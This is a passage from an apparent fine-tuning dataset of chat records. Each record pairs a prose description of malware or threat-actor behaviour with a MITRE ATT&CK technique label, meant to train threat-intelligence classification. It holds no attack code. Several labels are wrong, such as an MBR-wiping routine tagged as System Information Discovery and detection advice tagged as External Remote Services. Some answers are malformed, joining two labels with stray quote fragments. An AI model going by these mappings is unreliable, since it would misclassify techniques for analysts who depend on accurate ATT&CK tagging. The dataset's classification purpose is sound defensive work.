                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Windshift has sent spearphishing emails with links to harvest credentials and deliver malware."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emotet has been observed to hook network APIs to monitor network traffic."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attack typically begins with an attempt – most probably via a spearphishing email – to lure the intended victim into running the malicious dropper, which is attached to the email. In order to increase the likelihood that the unsuspecting victim will actually click on it, the malicious executable masquerades as a document or spreadsheet by displaying a fake icon"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment', 'T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can gather victim drive information."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The SOMBRAT backdoor is packaged as a 64-bit Windows executable. It communicates with a configurable command and control (C2) server via multiple protocols, including DNS, TLS-encrypted TCP, and potentially WebSockets. The backdoor's primary purpose is to download and execute plugins provided via the C2 server. In contrast to the SOMBRAT version published in November 2020, Mandiant observed additional obfuscation and armoring to evade detection, this SOMBRAT variant has been hardened to discourage analysis. Program metadata typically included by the compiler has been stripped and strings have been inlined and encoded via XOR-based routines"
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BAT files were used to download and execute the Cring ransomware on the other systems in the compromised network. It also uses the Windows CertUtil program to help with the said download."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacSpy can steal clipboard contents."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLUELIGHT can harvest cookies from Internet Explorer, Edge, Chrome, and Naver Whale browsers."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can mimic the HTTP protocol for C2 communication, while hiding the actual data in either an HTTP header, URI parameter, the transaction body, or appending it to the URI."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Protocol or Service Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uploads files and secondary payloads to the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper used \"netview\" to scan target systems for shared resources."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT19 used HTTP for C2 communications. APT19 also used an HTTP malware variant to communicate over HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to delete files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca has used compromised web servers as part of their operational infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OceanSalt can collect the name and ID for every process running on the system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The purpose of this malware is to allow the actors to download and execute an executable file, as well as download and run batch files to run commands on the end system"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) It uses the application programming interface (API) CreateFileA to \\\\.\\PHYSICALDRIVE0 to retrieve the handle of the hard disk. 2) It overwrites the first sector of the disk (512 bytes) with \"0x00\". The first sector is the disk’s MBR. 3) It will try to perform the routines above (steps 1-2) on \\\\.\\PHYSICALDRIVE1, \\\\.\\PHYSICALDRIVE2, \\\\.\\PHYSICALDRIVE3, and so on, as long as a hard disk is available"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has used various types of scripting to perform operations, including batch scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleJeus has required user execution of a malicious MSI installer."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware calls User32.dll's GetKeyboardLayoutList function, inspects the keyboard identifier, and returns true if the result ends in a value between \\x18 thru \\x44 inclusive. This result means the compromised host is whitelisted based on the host's configured keyboard layout. The malware inspects only the lower byte of the full keyboard identifier, so all systems using the keyboard locales listed in Table 4 are immune to REvil. Despite the large number of potential matches, CTU researchers suspect that the malware author intended to identify Russian keyboards based on several other links to the Russia-based GandCrab ransomware"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "obfuscates strings using a custom stream cipher."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUGARDUMP can search for and collect data from specific Chrome, Opera, Microsoft Edge, and Firefox files, including any folders that have the string `Profile` in its name."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The TerraLoader code performs several integrity checks before dropping the payload. These checks implement anti-debugging techniques and try to identify anomalies to prevent execution in sandboxed environments. Some of these techniques range from detecting incorrect parameters, filenames and extensions, to detecting hardware breakpoints or identifying specific modules loaded into the subject process. Should these checks all pass, the actual payload is decrypted and executed"
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Audit all remote authentications from trusted networks or service providers. Detect mismatches by correlating credentials used within internal networks with those employed on external-facing systems. Log use of system administrator commands such as net, ipconfig, and ping"
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  .dll file is digitally signed by a certificate from AirVPN."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once executed, NavRAT will immediately leverage cmd.exe to perform a systeminfo and a tasklist check on the system it is running on while writing the output to a TMP file, once again attempting to hide within an AhnLab folder. Interestingly, the attacker has used the &gt;&gt; method to append to the file so there can be multiple outputs written to their single TMP file"
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LightNeuron contains a function to encrypt and store emails that it collects."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Azorult can capture screenshots of the victim’s machines."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "There are two forms of encrypted strings: an RSA256-encrypted string, and custom base64-encoded and RSA256-encrypted string"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT18 actors deleted tools and batch files from victim systems."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lucifer can identify the IP and port numbers for all remote connections from the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang has used credential dumpers or stealers to obtain legitimate credentials, which they used to gain access to victim accounts."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious .lnk files contain a link to a URL (instead of the expected local URI) to grab the next payload"
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ServHelper may download additional files to execute."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CHOPSTICK encrypts C2 communications with TLS."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ngrok can tunnel RDP and other services securely over internet connections."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Strings in the malware are obfuscated using the RC4 algorithm and the decryption key stored inside the sample"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GoldMax will check if it is being run in a virtualized environment by comparing the collected MAC address to \"c8:27:cc:c2:37:5a\"."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StoneDrill can check for antivirus and antimalware programs."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Windshift has created LNK files in the Startup folder to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses GET and POST requests over HTTP or HTTPS for command and control to obtain commands and send ZLIB compressed data back to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca has used a \"DCSync\" command with Mimikatz to retrieve credentials from an exploited controller."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cannon uses SMTP/S and POP3/S for C2 communications by sending and receiving emails."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REvil can use Native API for execution and to retrieve active services."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet can propagate via removable media using an autorun.inf file or the CVE-2010-2568 LNK vulnerability."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NanoCore can open a remote command-line interface and execute commands. NanoCore uses JavaScript files."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KONNI has executed malicious JavaScript code."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  uses a encrypted and compressed payload that is disguised as a bitmap within the resource section of the installer."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The frequent checking ensures that any changes made will be quickly followed, and the repeated attempts to run the Revenge RAT binary make it almost certain that even if the process is terminated, the RAT will be running again soon"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery', 'T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a backdoor through which remote attackers can retrieve a list of running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "performs the tasklist command to list running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Daserf hides collected data in password-protected .rar archives."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data', 'T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BUBBLEWRAP is a full-featured backdoor that is set to run when the system boots, and can communicate using HTTP, HTTPS, or a SOCKS proxy. This backdoor collects system information, including the operating system version and hostname, and includes functionality to check, upload, and register plugins that can further enhance its capabilities"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has created new services for persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShadowPad has used DNS tunneling for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SLOTHFULMEDIA has created a service on victim machines named \"TaskFrame\" to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Similar to many other ransomware operators, CARBON SPIDER not only encrypted victim files using Darkside, but also exfiltrated data for publication on a dedicated leak site (DLS) hosted on Tor. For exfiltration, CARBON SPIDER primarily leveraged the MEGASync client for hosting provider MEGA but also employed GoToAssist"
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The s.exe (SHA256: 04f48ed27a83a57a971e73072ac5c769709306f2714022770fb364fd575fd462) uploaded to the error2.aspx webshell is a self-extracting 7-zip archive that is an example of the HyperBro backdoor. According to Kaspersky and SecureWorks research, HyperBro is a custom backdoor developed and used by Emissary Panda in their attack campaigns. This sample of HyperBro is similar to the sample discussed in Kaspersky’s research, specifically using a legitimate pcAnywhere application to sideload a DLL to decrypt, decompress and run a payload embedded within a file named ‘thumb.db’. Table 5 shows the three files associated with this HyperBro sample, which have the same file names as the self-extracting 7zip archives mentioned in Kaspersky’s blog (SHA256 hashes: 34a542356ac8a3f6e367c6827b728e18e905c71574b3813f163e043f70aa3bfa and 2144aa68c7b2a6e3511e482d6759895210cf60c67f14b9485a0236af925d8233"
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HDoor scans to identify open ports on the victim."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious obfuscated VBA code is executed when the macro is first enabled"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "establishes persistence by creating the Registry key HKCU\\Software\\Microsoft\\Windows\\Run."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE has used .NET packer tools to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The TAINTEDSCRIBE main executable has disguised itself as Microsoft’s Narrator."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a built-in utility command for netstat, can do net session through PowerView, and has an interactive shell which can be used to discover additional information."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nerex creates a Registry subkey that registers a new service."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry', 'T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cuba can modify services by using the \"OpenService\" and \"ChangeServiceConfig\" functions."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware RoyalCli and BS2005 have communicated over HTTP with the C2 server through Internet Explorer (IE) by using the COM interface IWebBrowser2. Additionally,  malware RoyalDNS has used DNS for C2."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Waterbear can use thread injection to inject shellcode into the process of security software."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects Keychain storage data and copies those passwords/tokens to a file."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CSPY Downloader can bypass UAC using the SilentCleanup task to execute the binary with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The VPNpro trojanized application uses an AutoRun registry key, as mentioned in the publication released before July 2019. After that, it will check if ESET or BitDefender antivirus are installed before dropping the malware. If they are installed, nothing will be dropped. We'll now break down the 5kplayer trojanized installer"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ThiefQuest uses the \"kill_unwanted\" function to get a list of running processes, compares each process with an encrypted list of “unwanted” security related programs, and kills the processes for security related programs."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
